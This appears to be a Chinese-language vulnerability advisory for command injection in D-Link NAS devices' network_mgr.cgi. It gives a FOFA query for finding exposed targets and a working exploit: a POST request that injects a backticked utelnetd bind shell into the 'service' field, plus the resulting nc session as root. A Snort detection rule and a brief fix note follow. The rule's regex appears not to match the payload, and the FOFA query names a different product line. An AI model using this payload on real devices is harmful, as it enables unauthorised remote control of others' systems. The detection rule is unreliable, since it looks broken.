

D-Link_network_mgr.cgi命令执行漏洞

D-Link_network_mgr.cgi命令执行漏洞，攻击者可执行任意命令导致服务器被控。

影响版本

DNS-120、DNR-202L、DNS-315L、DNS-320、DNS-320L、DNS-320LW、DNS-321、DNR-322L、DNS-323、DNS-325、DNS-326、DNS-327L、DNR-326、DNS-340L、DNS-343、DNS-345、DNS-726-4、DNS-1100-4、DNS-1200-05、DNS-1550-04 晚于20260205

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: "D-Link-DIR"

POC/EXP:

```
POST /cgi-bin/network_mgr.cgi HTTP/1.1
Host: 192.168.0.32
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 98
Origin: http://192.168.0.32
Connection: keep-alive
Referer: http://192.168.0.32/web/backup_mgr/s3_main.html
Cookie: username=admin
Priority: u=0
```

```
cmd=cgi_portforwarding_add&service=`utelnetd -p 8913 -l  
/bin/sh`&e_port=&p_port=&protocol=&enable=1
```

```
/home/mobaxterm nc 192.168.0.32 8913  
BusyBox v1.11.2 (2013-04-15 17:30:08 CST) built-in shell (ash)  
Enter 'help' for a list of built-in commands.  
  
# ps  
ps  
  PID USER      VSZ STAT COMMAND  
    1 root        2648 S    init  
    2 root          0 SW<   [kthreadd]  
    3 root          0 SW<   [ksoftirqd/0]  
    4 root          0 SW<   [events/0]  
    5 root          0 SW<   [khelper]  
    8 root          0 SW<   [async/mgr]  
  105 root          0 SW<   [kblockd/0]  
  114 root          0 SW<   [khubd]  
  117 root          0 SW<   [kseriod]  
  139 root          0 SW    [crypto]  
  140 root          0 SW    [crypto_ret]  
  147 root          0 SW    [pdflush]  
  148 root          0 SW    [pdflush]  
  149 root          0 SW<   [kswapd0]  
  150 root          0 SW<   [aio/0]  
  151 root          0 SW<   [nfsiod]  
  152 root          0 SW<   [cifsockd]  
  154 root          0 SW<   [crypto/0]  
  440 root          0 SW<   [scsi_eh_0]  
  441 root          0 SW<   [scsi_eh_1]  
  461 root          0 SW<   [mtdblockd]  
  462 root          0 SW<   [nftld]  
  502 root          0 SW<   [kstripped]  
  504 root          0 SW<   [kcryptd/0]  
  531 root          0 SW<   [usbhid_resumer]  
  534 root          0 SW<   [rpciod/0]  
 1043 root          0 SW<   [loop0]  
 1044 root          0 SW<   [unlzma/0]
```

sonrt规则:

```
alert http any any -> $HOME_NET any (  
  msg:"D-Link - Command Execution via network_mgr.cgi";  
  flow:to_server,established;  
  http.method; content:"POST";  
  http.uri; content:"/cgi-bin/network_mgr.cgi";  
  http.header; content:"Content-Type: application/x-www-form-urlencoded";  
  http.request_body; pcre:"/service=`utelnetd\\s+`-p\\s+[0-9]{4,5}\\s+`-l\\s+`-l/bin/sh`/i";  
  metadata:  
    service http,  
    affected_product "D-Link路由器",  
    vulnerability_type "Command Execution",  
    severity "critical";  
  classtype:web-application-attack;  
  sid:1000646;  
  rev:1;  
  priority:1;  
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限，升级至安全版本。